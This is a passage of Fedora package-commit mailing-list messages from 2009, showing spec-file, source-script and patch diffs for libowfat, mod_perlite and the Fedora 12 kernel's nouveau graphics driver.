+f0596c1746d097d12a914f2f50111b4e  jd-2.5.0-svn3127_trunk.tgz



From mdomsch at fedoraproject.org  Fri Oct 16 03:02:41 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Fri, 16 Oct 2009 03:02:41 +0000 (UTC)
Subject: rpms/libowfat/EL-5 libowfat.spec,1.2,1.3
Message-ID: <20091016030241.6A95C11C00DB@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/libowfat/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24502

Modified Files:
	libowfat.spec 
Log Message:
build for EL-5, drop dietlibc usage


Index: libowfat.spec
===================================================================
RCS file: /cvs/extras/rpms/libowfat/EL-5/libowfat.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- libowfat.spec	25 Jul 2009 06:22:47 -0000	1.2
+++ libowfat.spec	16 Oct 2009 03:02:41 -0000	1.3
@@ -1,7 +1,7 @@
-###%define debug_package %{nil}
+%define debug_package %{nil}
 Name:           libowfat
 Version:        0.28
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Reimplementation of libdjb 
 
 Group:          System Environment/Libraries
@@ -10,9 +10,6 @@ URL:            http://www.fefe.de/libow
 Source0:        http://dl.fefe.de/%{name}-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  dietlibc-devel
-
-
 %description
 This library is a reimplementation of libdjb, which means that it provides
 Daniel Bernstein's interfaces (with some extensions).
@@ -23,13 +20,10 @@ wrappers for socket functions, mkfifo, o
 around errno.  It also includes wrappers for Unix signal functions and a
 layer of mmap and sendfile.
 
-The library is available for use with the diet libc.
-
 
 %package        devel
 Summary:        Reimplementation of libdjb
 Group:          Development/Libraries
-Requires:       dietlibc-devel
 Provides:       %{name}-static = %{version}-%{release}
 
 
@@ -43,38 +37,25 @@ wrappers for socket functions, mkfifo, o
 around errno.  It also includes wrappers for Unix signal functions and a
 layer of mmap and sendfile.
 
-The library is available for use with the diet libc.
-
 
 %prep
 %setup -q
 
-sed -i 's|\(D_REENTRANT\)|\1 %{optflags}|' GNUmakefile
+sed -i '/^CFLAGS/d' GNUmakefile
 
 %build
 make -f GNUmakefile %{?_smp_mflags} \
-        DIET="%{_bindir}/diet" \
-        prefix="%{_prefix}/lib/dietlibc" \
-        LIBDIR="%{_prefix}/lib/dietlibc/lib-%_arch" \
-        INCLUDEDIR="%{_prefix}/lib/dietlibc/include/%{name}" 
-
+     CFLAGS="%{optflags} -I." DIET=
 
 %install
 rm -rf %{buildroot}
 
 make -f GNUmakefile install \
-        DIET="%{_bindir}/diet" \
-        prefix="%{buildroot}%{_prefix}/lib/dietlibc" \
-        LIBDIR="%{buildroot}%{_prefix}/lib/dietlibc/lib-%_arch" \
-        INCLUDEDIR="%{buildroot}%{_prefix}/lib/dietlibc/include/%{name}" \
-        MAN3DIR="%{buildroot}%{_mandir}/man3"
-
-
-%post -p /sbin/ldconfig
-
-
-%postun -p /sbin/ldconfig
-
+        CFLAGS="%{optflags}" \
+        prefix="%{buildroot}%{_prefix}" \
+        MAN3DIR="%{buildroot}%{_mandir}/man3" \
+        INCLUDEDIR="%{buildroot}%{_includedir}/%{name}" \
+        LIBDIR="%{buildroot}%{_libdir}" DIET=
 
 %clean
 rm -rf %{buildroot}
@@ -83,12 +64,15 @@ rm -rf %{buildroot}
 %files devel
 %defattr(-,root,root,-)
 %doc README TODO COPYING CHANGES
-%{_prefix}/lib/dietlibc/lib-%_arch/%{name}.a
-%{_prefix}/lib/dietlibc/include/%{name}
+%{_libdir}/*
+%{_prefix}/include/%{name}
 %{_mandir}/man3/*
 
 
 %changelog
+* Thu Oct 15 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.28-4
+- build for EL-5, drop dietlibc usage
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.28-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mdomsch at fedoraproject.org  Fri Oct 16 03:13:24 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Fri, 16 Oct 2009 03:13:24 +0000 (UTC)
Subject: rpms/libowfat/EL-5 libowfat-0.28-byteh.patch, NONE,
	1.1 libowfat.spec, 1.3, 1.4
Message-ID: <20091016031324.8D5C611C00DB@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/libowfat/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27553

Modified Files:
	libowfat.spec 
Added Files:
	libowfat-0.28-byteh.patch 
Log Message:
add patch to include byte.h as necessary to avoid gcc warning

libowfat-0.28-byteh.patch:
 io_dontwantread.c  |    2 ++
 io_dontwantwrite.c |    2 ++
 io_wantread.c      |    2 ++
 io_wantwrite.c     |    2 ++
 4 files changed, 8 insertions(+)

--- NEW FILE libowfat-0.28-byteh.patch ---
diff -urNp --exclude-from=/home/mdomsch/excludes --minimal libowfat-0.28.orig/io/io_dontwantread.c libowfat-0.28/io/io_dontwantread.c
--- libowfat-0.28.orig/io/io_dontwantread.c	2009-10-15 22:05:45.000000000 -0500
+++ libowfat-0.28/io/io_dontwantread.c	2009-10-15 22:07:53.000000000 -0500
@@ -17,6 +17,8 @@
 #include <sys/devpoll.h>
 #endif
 
+#include "byte.h"
+
 void io_dontwantread(int64 d) {
   int newfd;
   io_entry* e=array_get(&io_fds,sizeof(io_entry),d);
diff -urNp --exclude-from=/home/mdomsch/excludes --minimal libowfat-0.28.orig/io/io_dontwantwrite.c libowfat-0.28/io/io_dontwantwrite.c
--- libowfat-0.28.orig/io/io_dontwantwrite.c	2009-10-15 22:05:45.000000000 -0500
+++ libowfat-0.28/io/io_dontwantwrite.c	2009-10-15 22:07:41.000000000 -0500
@@ -17,6 +17,8 @@
 #include <sys/devpoll.h>
 #endif
 
+#include "byte.h"
+
 void io_dontwantwrite(int64 d) {
   int newfd;
   io_entry* e=array_get(&io_fds,sizeof(io_entry),d);
diff -urNp --exclude-from=/home/mdomsch/excludes --minimal libowfat-0.28.orig/io/io_wantread.c libowfat-0.28/io/io_wantread.c
--- libowfat-0.28.orig/io/io_wantread.c	2009-10-15 22:05:45.000000000 -0500
+++ libowfat-0.28/io/io_wantread.c	2009-10-15 22:07:28.000000000 -0500
@@ -23,6 +23,8 @@
 #include <mswsock.h>
 #endif
 
+#include "byte.h"
+
 void io_wantread(int64 d) {
   int newfd;
   io_entry* e=array_get(&io_fds,sizeof(io_entry),d);
diff -urNp --exclude-from=/home/mdomsch/excludes --minimal libowfat-0.28.orig/io/io_wantwrite.c libowfat-0.28/io/io_wantwrite.c
--- libowfat-0.28.orig/io/io_wantwrite.c	2009-10-15 22:05:45.000000000 -0500
+++ libowfat-0.28/io/io_wantwrite.c	2009-10-15 22:07:08.000000000 -0500
@@ -20,6 +20,8 @@
 #include <sys/devpoll.h>
 #endif
 
+#include "byte.h"
+
 void io_wantwrite(int64 d) {
   int newfd;
   io_entry* e=array_get(&io_fds,sizeof(io_entry),d);


Index: libowfat.spec
===================================================================
RCS file: /cvs/extras/rpms/libowfat/EL-5/libowfat.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- libowfat.spec	16 Oct 2009 03:02:41 -0000	1.3
+++ libowfat.spec	16 Oct 2009 03:13:23 -0000	1.4
@@ -8,6 +8,7 @@ Group:          System Environment/Libra
 License:        GPLv2
 URL:            http://www.fefe.de/libowfat/
 Source0:        http://dl.fefe.de/%{name}-%{version}.tar.bz2
+Patch1:         libowfat-0.28-byteh.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %description
@@ -40,6 +41,7 @@ layer of mmap and sendfile.
 
 %prep
 %setup -q
+%patch1 -p1
 
 sed -i '/^CFLAGS/d' GNUmakefile
 
@@ -72,6 +74,7 @@ rm -rf %{buildroot}
 %changelog
 * Thu Oct 15 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.28-4
 - build for EL-5, drop dietlibc usage
+- add patch to include byte.h as necessary to avoid gcc warning
 
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.28-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From cweyl at fedoraproject.org  Fri Oct 16 03:26:09 2009
From: cweyl at fedoraproject.org (Chris Weyl)
Date: Fri, 16 Oct 2009 03:26:09 +0000 (UTC)
Subject: rpms/mod_perlite/F-11 fetch_source.sh, NONE, 1.1 mod_perlite.spec,
	1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091016032609.B853411C00DB@cvs1.fedora.phx.redhat.com>

Author: cweyl

Update of /cvs/extras/rpms/mod_perlite/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30396

Modified Files:
	mod_perlite.spec sources 
Added Files:
	fetch_source.sh 
Log Message:
* Wed Oct 14 2009 Chris Weyl <cweyl at alumni.drew.edu> 0.10
- update to 0.10



--- NEW FILE fetch_source.sh ---
#!/bin/sh
#
# Build our tarball from the given tag; fresh from a cloned github repo.
#
# Chris Weyl <cweyl at alumni.drew.edu> 2009

TAG=$1
REPO=git://github.com/sodabrew/mod_perlite.git
TMPD=`mktemp -d`
HERE=`pwd`

set -ex

# disabled from github?!
#git archive --remote=$REPO --prefix mod_perlite-$TAG/ $TAG | gzip > mod_perlite-$TAG.tar.gz

cd $TMPD
git clone $REPO
cd mod_perlite
git archive --prefix mod_perlite-$TAG/ $TAG | gzip > $HERE/mod_perlite-$TAG.tar.gz

rm -rf $TMPD


Index: mod_perlite.spec
===================================================================
RCS file: /cvs/extras/rpms/mod_perlite/F-11/mod_perlite.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- mod_perlite.spec	11 Apr 2009 05:06:28 -0000	1.1
+++ mod_perlite.spec	16 Oct 2009 03:26:05 -0000	1.2
@@ -1,24 +1,17 @@
-%global tag     git20090314
-%global git_tag a77521aa84ea5b8c5bcc3e387451acd9368292ee
-
 %global httpd_mod_dir  %{_libdir}/httpd/modules
 %global httpd_conf_dir %{_sysconfdir}/httpd/conf.d
 
 Name:           mod_perlite
-Version:        0.09
-# I'm treating this as a pre-release as we don't have any actual tarballs yet.
-Release:        0.2%{?tag:.%{tag}}%{?dist}
+Version:        0.10
+Release:        1%{?dist}
 Summary:        Kinder, gentler embedded Perl for the Apache HTTP Server
 
 Group:          System Environment/Daemons
 # see Build.PL, README
 License:        GPL+ or Artistic
 URL:            http://modperlite.org
-# git://github.com/sodabrew/mod_perlite.git
-# can be recreated with: 
-#   TAG=a77521aa84ea5b8c5bcc3e387451acd9368292ee \
-#   git archive --prefix mod_perlite/ $TAG | gzip > mod_perlite-$TAG.tar.gz
-Source0:        mod_perlite-%{tag}.tar.gz
+Source0:        mod_perlite-%{version}.tar.gz
+Source1:        fetch_source.sh
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  httpd-devel >= 2.2.0, httpd, gdbm-devel
@@ -43,7 +36,7 @@ interpreted by Perl.  It is the Perl equ
 and nothing like mod_perl in its complexity.
 
 %prep
-%setup -q -n %{name}
+%setup -q 
 
 %build
 %{__perl} Build.PL installdirs=vendor optimize="%{optflags} -fpic"
@@ -83,6 +76,12 @@ rm -rf %{buildroot}
 %{_mandir}/man3/*.3*
 
 %changelog
+* Wed Oct 14 2009 Chris Weyl <cweyl at alumni.drew.edu> 0.10
+- update to 0.10
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.09-0.3.git20090314
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Fri Apr 10 2009 Chris Weyl <cweyl at alumni.drew.edu> 0.09-0.2.git20090314
 - patch up tarball creation, per review
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mod_perlite/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	11 Apr 2009 05:06:28 -0000	1.2
+++ sources	16 Oct 2009 03:26:05 -0000	1.3
@@ -1 +1 @@
-b070e26defddb65dccac7c78270e8fc7  mod_perlite-git20090314.tar.gz
+4ee196a0595d09e47974d5629796939a  mod_perlite-0.10.tar.gz



From cweyl at fedoraproject.org  Fri Oct 16 03:26:09 2009
From: cweyl at fedoraproject.org (Chris Weyl)
Date: Fri, 16 Oct 2009 03:26:09 +0000 (UTC)
Subject: rpms/mod_perlite/F-12 fetch_source.sh, NONE, 1.1 mod_perlite.spec,
	1.2, 1.3 sources, 1.2, 1.3
Message-ID: <20091016032609.BC5EC11C0265@cvs1.fedora.phx.redhat.com>

Author: cweyl

Update of /cvs/extras/rpms/mod_perlite/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30482

Modified Files:
	mod_perlite.spec sources 
Added Files:
	fetch_source.sh 
Log Message:
* Wed Oct 14 2009 Chris Weyl <cweyl at alumni.drew.edu> 0.10
- update to 0.10



--- NEW FILE fetch_source.sh ---
#!/bin/sh
#
# Build our tarball from the given tag; fresh from a cloned github repo.
#
# Chris Weyl <cweyl at alumni.drew.edu> 2009

TAG=$1
REPO=git://github.com/sodabrew/mod_perlite.git
TMPD=`mktemp -d`
HERE=`pwd`

set -ex

# disabled from github?!
#git archive --remote=$REPO --prefix mod_perlite-$TAG/ $TAG | gzip > mod_perlite-$TAG.tar.gz

cd $TMPD
git clone $REPO
cd mod_perlite
git archive --prefix mod_perlite-$TAG/ $TAG | gzip > $HERE/mod_perlite-$TAG.tar.gz

rm -rf $TMPD


Index: mod_perlite.spec
===================================================================
RCS file: /cvs/extras/rpms/mod_perlite/F-12/mod_perlite.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- mod_perlite.spec	25 Jul 2009 14:47:42 -0000	1.2
+++ mod_perlite.spec	16 Oct 2009 03:26:05 -0000	1.3
@@ -1,24 +1,17 @@
-%global tag     git20090314
-%global git_tag a77521aa84ea5b8c5bcc3e387451acd9368292ee
-
 %global httpd_mod_dir  %{_libdir}/httpd/modules
 %global httpd_conf_dir %{_sysconfdir}/httpd/conf.d
 
 Name:           mod_perlite
-Version:        0.09
-# I'm treating this as a pre-release as we don't have any actual tarballs yet.
-Release:        0.3%{?tag:.%{tag}}%{?dist}
+Version:        0.10
+Release:        1%{?dist}
 Summary:        Kinder, gentler embedded Perl for the Apache HTTP Server
 
 Group:          System Environment/Daemons
 # see Build.PL, README
 License:        GPL+ or Artistic
 URL:            http://modperlite.org
-# git://github.com/sodabrew/mod_perlite.git
-# can be recreated with: 
-#   TAG=a77521aa84ea5b8c5bcc3e387451acd9368292ee \
-#   git archive --prefix mod_perlite/ $TAG | gzip > mod_perlite-$TAG.tar.gz
-Source0:        mod_perlite-%{tag}.tar.gz
+Source0:        mod_perlite-%{version}.tar.gz
+Source1:        fetch_source.sh
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  httpd-devel >= 2.2.0, httpd, gdbm-devel
@@ -43,7 +36,7 @@ interpreted by Perl.  It is the Perl equ
 and nothing like mod_perl in its complexity.
 
 %prep
-%setup -q -n %{name}
+%setup -q 
 
 %build
 %{__perl} Build.PL installdirs=vendor optimize="%{optflags} -fpic"
@@ -83,6 +76,9 @@ rm -rf %{buildroot}
 %{_mandir}/man3/*.3*
 
 %changelog
+* Wed Oct 14 2009 Chris Weyl <cweyl at alumni.drew.edu> 0.10
+- update to 0.10
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.09-0.3.git20090314
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mod_perlite/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	11 Apr 2009 05:06:28 -0000	1.2
+++ sources	16 Oct 2009 03:26:05 -0000	1.3
@@ -1 +1 @@
-b070e26defddb65dccac7c78270e8fc7  mod_perlite-git20090314.tar.gz
+4ee196a0595d09e47974d5629796939a  mod_perlite-0.10.tar.gz



From bskeggs at fedoraproject.org  Fri Oct 16 03:47:53 2009
From: bskeggs at fedoraproject.org (Ben Skeggs)
Date: Fri, 16 Oct 2009 03:47:53 +0000 (UTC)
Subject: rpms/kernel/F-12 config-generic, 1.325, 1.326 drm-nouveau.patch,
	1.63, 1.64 kernel.spec, 1.1869, 1.1870
Message-ID: <20091016034753.9C6E611C0265@cvs1.fedora.phx.redhat.com>

Author: bskeggs

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4466

Modified Files:
	config-generic drm-nouveau.patch kernel.spec 
Log Message:
* Fri Oct 16 2009 Ben Skeggs <bskeggs at redhat.com> 2.6.31.4-84
- nouveau: more vbios opcodes, minor fixes, hopeful fix for rh#529292




Index: config-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/config-generic,v
retrieving revision 1.325
retrieving revision 1.326
diff -u -p -r1.325 -r1.326
--- config-generic	7 Oct 2009 17:22:56 -0000	1.325
+++ config-generic	16 Oct 2009 03:47:50 -0000	1.326
@@ -2247,6 +2247,7 @@ CONFIG_DRM_VIA=m
 CONFIG_DRM_NOUVEAU=m
 CONFIG_DRM_NOUVEAU_KMS=y
 CONFIG_DRM_NOUVEAU_BACKLIGHT=y
+CONFIG_DRM_NOUVEAU_DEBUG=y
 CONFIG_DRM_I2C_CH7006=m
 
 #

drm-nouveau.patch:
 drivers/gpu/drm/Kconfig                     |   56 
 drivers/gpu/drm/Makefile                    |    2 
 drivers/gpu/drm/i2c/Makefile                |    4 
 drivers/gpu/drm/i2c/ch7006_drv.c            |  531 
 drivers/gpu/drm/i2c/ch7006_mode.c           |  473 
 drivers/gpu/drm/i2c/ch7006_priv.h           |  344 
 drivers/gpu/drm/nouveau/Makefile            |   29 
 drivers/gpu/drm/nouveau/nouveau_acpi.c      |  125 
 drivers/gpu/drm/nouveau/nouveau_backlight.c |  155 
 drivers/gpu/drm/nouveau/nouveau_bios.c      | 5709 +++++++
 drivers/gpu/drm/nouveau/nouveau_bios.h      |  236 
 drivers/gpu/drm/nouveau/nouveau_bo.c        |  620 
 drivers/gpu/drm/nouveau/nouveau_calc.c      |  626 
 drivers/gpu/drm/nouveau/nouveau_channel.c   |  464 
 drivers/gpu/drm/nouveau/nouveau_connector.c |  811 +
 drivers/gpu/drm/nouveau/nouveau_connector.h |   55 
 drivers/gpu/drm/nouveau/nouveau_crtc.h      |   95 
 drivers/gpu/drm/nouveau/nouveau_debugfs.c   |  155 
 drivers/gpu/drm/nouveau/nouveau_display.c   |  115 
 drivers/gpu/drm/nouveau/nouveau_dma.c       |  206 
 drivers/gpu/drm/nouveau/nouveau_dma.h       |  151 
 drivers/gpu/drm/nouveau/nouveau_drv.c       |  413 
 drivers/gpu/drm/nouveau/nouveau_drv.h       | 1283 +
 drivers/gpu/drm/nouveau/nouveau_encoder.h   |   66 
 drivers/gpu/drm/nouveau/nouveau_fb.h        |   47 
 drivers/gpu/drm/nouveau/nouveau_fbcon.c     |  381 
 drivers/gpu/drm/nouveau/nouveau_fbcon.h     |   49 
 drivers/gpu/drm/nouveau/nouveau_fence.c     |  262 
 drivers/gpu/drm/nouveau/nouveau_gem.c       |  954 +
 drivers/gpu/drm/nouveau/nouveau_hw.c        | 1078 +
 drivers/gpu/drm/nouveau/nouveau_hw.h        |  448 
 drivers/gpu/drm/nouveau/nouveau_i2c.c       |  256 
 drivers/gpu/drm/nouveau/nouveau_i2c.h       |   45 
 drivers/gpu/drm/nouveau/nouveau_ioc32.c     |   72 
 drivers/gpu/drm/nouveau/nouveau_irq.c       |  696 
 drivers/gpu/drm/nouveau/nouveau_mem.c       |  572 
 drivers/gpu/drm/nouveau/nouveau_notifier.c  |  195 
 drivers/gpu/drm/nouveau/nouveau_object.c    | 1294 +
 drivers/gpu/drm/nouveau/nouveau_reg.h       |  788 
 drivers/gpu/drm/nouveau/nouveau_sgdma.c     |  321 
 drivers/gpu/drm/nouveau/nouveau_state.c     |  872 +
 drivers/gpu/drm/nouveau/nouveau_swmthd.h    |   33 
 drivers/gpu/drm/nouveau/nouveau_ttm.c       |  131 
 drivers/gpu/drm/nouveau/nv04_crtc.c         |  995 +
 drivers/gpu/drm/nouveau/nv04_cursor.c       |   70 
 drivers/gpu/drm/nouveau/nv04_dac.c          |  529 
 drivers/gpu/drm/nouveau/nv04_dfp.c          |  621 
 drivers/gpu/drm/nouveau/nv04_display.c      |  293 
 drivers/gpu/drm/nouveau/nv04_fb.c           |   21 
 drivers/gpu/drm/nouveau/nv04_fbcon.c        |  316 
 drivers/gpu/drm/nouveau/nv04_fifo.c         |  271 
 drivers/gpu/drm/nouveau/nv04_graph.c        |  579 
 drivers/gpu/drm/nouveau/nv04_instmem.c      |  210 
 drivers/gpu/drm/nouveau/nv04_mc.c           |   20 
 drivers/gpu/drm/nouveau/nv04_timer.c        |   51 
 drivers/gpu/drm/nouveau/nv04_tv.c           |  305 
 drivers/gpu/drm/nouveau/nv10_fb.c           |   24 
 drivers/gpu/drm/nouveau/nv10_fifo.c         |  260 
 drivers/gpu/drm/nouveau/nv10_graph.c        |  891 +
 drivers/gpu/drm/nouveau/nv17_tv.c           |  689 
 drivers/gpu/drm/nouveau/nv17_tv.h           |  156 
 drivers/gpu/drm/nouveau/nv17_tv_modes.c     |  583 
 drivers/gpu/drm/nouveau/nv20_graph.c        |  778 
 drivers/gpu/drm/nouveau/nv40_fb.c           |   62 
 drivers/gpu/drm/nouveau/nv40_fifo.c         |  314 
 drivers/gpu/drm/nouveau/nv40_graph.c        | 2239 ++
 drivers/gpu/drm/nouveau/nv40_mc.c           |   38 
 drivers/gpu/drm/nouveau/nv50_crtc.c         |  784 
 drivers/gpu/drm/nouveau/nv50_cursor.c       |  151 
 drivers/gpu/drm/nouveau/nv50_dac.c          |  295 
 drivers/gpu/drm/nouveau/nv50_display.c      |  902 +
 drivers/gpu/drm/nouveau/nv50_display.h      |   46 
 drivers/gpu/drm/nouveau/nv50_evo.h          |  113 
 drivers/gpu/drm/nouveau/nv50_fbcon.c        |  273 
 drivers/gpu/drm/nouveau/nv50_fifo.c         |  493 
 drivers/gpu/drm/nouveau/nv50_graph.c        |  465 
 drivers/gpu/drm/nouveau/nv50_grctx.h        |22284 ++++++++++++++++++++++++++++
 drivers/gpu/drm/nouveau/nv50_instmem.c      |  508 
 drivers/gpu/drm/nouveau/nv50_mc.c           |   40 
 drivers/gpu/drm/nouveau/nv50_sor.c          |  254 
 drivers/gpu/drm/nouveau/nvreg.h             |  535 
 drivers/gpu/drm/ttm/ttm_bo.c                |    4 
 include/drm/Kbuild                          |    1 
 include/drm/i2c/ch7006.h                    |   86 
 include/drm/nouveau_drm.h                   |  216 
 85 files changed, 58983 insertions(+)

Index: drm-nouveau.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/drm-nouveau.patch,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- drm-nouveau.patch	8 Oct 2009 04:42:12 -0000	1.63
+++ drm-nouveau.patch	16 Oct 2009 03:47:50 -0000	1.64
@@ -1,8 +1,8 @@
 diff --git a/drivers/gpu/drm/Kconfig b/drivers/gpu/drm/Kconfig
-index e4d971c..7fe8a4c 100644
+index e4d971c..62dd13c 100644
 --- a/drivers/gpu/drm/Kconfig
 +++ b/drivers/gpu/drm/Kconfig
-@@ -153,3 +153,48 @@ config DRM_SAVAGE
+@@ -153,3 +153,59 @@ config DRM_SAVAGE
  	help
  	  Choose this option if you have a Savage3D/4/SuperSavage/Pro/Twister
  	  chipset. If M is selected the module will be called savage.
@@ -29,6 +29,9 @@ index e4d971c..7fe8a4c 100644
 +	and you have a new enough userspace to support this. Running old
 +	userspaces with this enabled will cause pain.
 +
++	NOTICE: if you plan on using the text based console outside of X, enable
++	FRAMEBUFFER_CONSOLE or else the console will be unusable.
++
 +config DRM_NOUVEAU_BACKLIGHT
 +	bool "Support for backlight control"
 +	depends on DRM_NOUVEAU
@@ -37,6 +40,14 @@ index e4d971c..7fe8a4c 100644
 +	  Say Y here if you want to control the backlight of your display
 +	  (e.g. a laptop panel).
 +
++config DRM_NOUVEAU_DEBUG
++	bool "Build in Nouveau's debugfs support"
++	depends on DRM_NOUVEAU && DEBUG_FS
++	default y
++	help
++	  Say Y here if you want Nouveau to output debugging information
++	  via debugfs.
++
 +menu "I2C encoder or helper chips"
 +     depends on DRM
 +
@@ -1439,7 +1450,7 @@ index 0000000..b06d3d9
 +#endif
 diff --git a/drivers/gpu/drm/nouveau/Makefile b/drivers/gpu/drm/nouveau/Makefile
 new file mode 100644
-index 0000000..ab46e3a
+index 0000000..e12b4ff
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/Makefile
 @@ -0,0 +1,29 @@
@@ -1454,7 +1465,6 @@ index 0000000..ab46e3a
 +             nouveau_bo.o nouveau_fence.o nouveau_gem.o nouveau_ttm.o \
 +             nouveau_hw.o nouveau_calc.o nouveau_bios.o nouveau_i2c.o \
 +	     nouveau_display.o nouveau_connector.o nouveau_fbcon.o \
-+	     nouveau_debugfs.o \
 +             nv04_timer.o \
 +             nv04_mc.o nv40_mc.o nv50_mc.o \
 +             nv04_fb.o nv10_fb.o nv40_fb.o \
@@ -1467,6 +1477,7 @@ index 0000000..ab46e3a
 +             nv04_dac.o nv04_dfp.o nv04_tv.o nv17_tv.o nv17_tv_modes.o \
 +             nv04_crtc.o nv04_display.o nv04_cursor.o nv04_fbcon.o
 +
++nouveau-$(CONFIG_DRM_NOUVEAU_DEBUG) += nouveau_debugfs.o
 +nouveau-$(CONFIG_COMPAT) += nouveau_ioc32.o
 +nouveau-$(CONFIG_DRM_NOUVEAU_BACKLIGHT) += nouveau_backlight.o
 +nouveau-$(CONFIG_ACPI) += nouveau_acpi.o
@@ -1766,10 +1777,10 @@ index 0000000..20564f8
 +}
 diff --git a/drivers/gpu/drm/nouveau/nouveau_bios.c b/drivers/gpu/drm/nouveau/nouveau_bios.c
 new file mode 100644
-index 0000000..7a55199
+index 0000000..1c13f5f
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_bios.c
-@@ -0,0 +1,5536 @@
+@@ -0,0 +1,5709 @@
 +/*
 + * Copyright 2005-2006 Erik Waling
 + * Copyright 2006 Stephane Marchesin
@@ -1812,8 +1823,6 @@ index 0000000..7a55199
 +#define BIOSLOG(sip, fmt, arg...) NV_DEBUG(sip->dev, fmt, ##arg)
 +#define LOG_OLD_VALUE(x)
 +
-+#define BIOS_USLEEP(n) mdelay((n)/1000)
-+
 +#define ROM16(x) le16_to_cpu(*(uint16_t *)&(x))
 +#define ROM32(x) le32_to_cpu(*(uint32_t *)&(x))
 +
@@ -2058,7 +2067,7 @@ index 0000000..7a55199
 +{
 +#if 0
 +	sync();
-+	BIOS_USLEEP(2000);
++	msleep(2);
 +#endif
 +}
 +
@@ -2068,10 +2077,15 @@ index 0000000..7a55199
 +	if (nv_arch(bios->dev) < NV_50)
 +		return reg;
 +
++	if (!(reg & 0x40000000))
++		return reg;
++
++	BUG_ON(!bios->display.output);
++
 +	if (reg & 0x40000000)
-+		reg += bios->display.head * 0x800;
++		reg += (ffs(bios->display.output->or) - 1) * 0x800;
 +
-+	reg &= ~(0x40000000);
++	reg &= ~0x40000000;
 +	return reg;
 +}
 +
@@ -3400,6 +3414,7 @@ index 0000000..7a55199
 +
 +	uint8_t cond = bios->data[offset + 1];
 +	uint16_t retries = bios->data[offset + 2] * 50;
++	unsigned cnt;
 +
 +	if (!iexec->execute)
 +		return true;
@@ -3410,19 +3425,23 @@ index 0000000..7a55199
 +	BIOSLOG(bios, "0x%04X: Condition: 0x%02X, Retries: 0x%02X\n",
 +		offset, cond, retries);
 +
-+	for (; retries > 0; retries--)
++	for (cnt = 0; cnt < retries; cnt++) {
 +		if (bios_condition_met(bios, offset, cond)) {
-+			BIOSLOG(bios, "0x%04X: Condition met, continuing\n", offset);
++			BIOSLOG(bios, "0x%04X: Condition met, continuing\n",
++								offset);
 +			break;
 +		} else {
-+			BIOSLOG(bios, "0x%04X: Condition not met, sleeping for 20ms\n", offset);
-+			BIOS_USLEEP(20000);
++			BIOSLOG(bios, "0x%04X: "
++				"Condition not met, sleeping for 20ms\n",
++								offset);
++			msleep(20);
 +		}
++	}
 +
 +	if (!bios_condition_met(bios, offset, cond)) {
 +		NV_WARN(bios->dev,
 +			"0x%04X: Condition still not met after %dms, "
-+			"skiping following opcodes\n", offset, 20 * retries);
++			"skipping following opcodes\n", offset, 20 * retries);
 +		iexec->execute = false;
 +	}
 +
@@ -3665,7 +3684,7 @@ index 0000000..7a55199
 +	bios_wr32(bios, NV_PBUS_PCI_NV_19, 0);
 +	bios_wr32(bios, reg, value1);
 +
-+	BIOS_USLEEP(10);
++	udelay(10);
 +
 +	bios_wr32(bios, reg, value2);
 +	bios_wr32(bios, NV_PBUS_PCI_NV_19, pci_nv_19);
@@ -4065,7 +4084,7 @@ index 0000000..7a55199
 +	 * Sleep for "time" microseconds.
 +	 */
 +
-+	uint16_t time = ROM16(bios->data[offset + 1]);
++	unsigned time = ROM16(bios->data[offset + 1]);
 +
 +	if (!iexec->execute)
 +		return true;
@@ -4073,7 +4092,10 @@ index 0000000..7a55199
 +	BIOSLOG(bios, "0x%04X: Sleeping for 0x%04X microseconds\n",
 +		offset, time);
 +
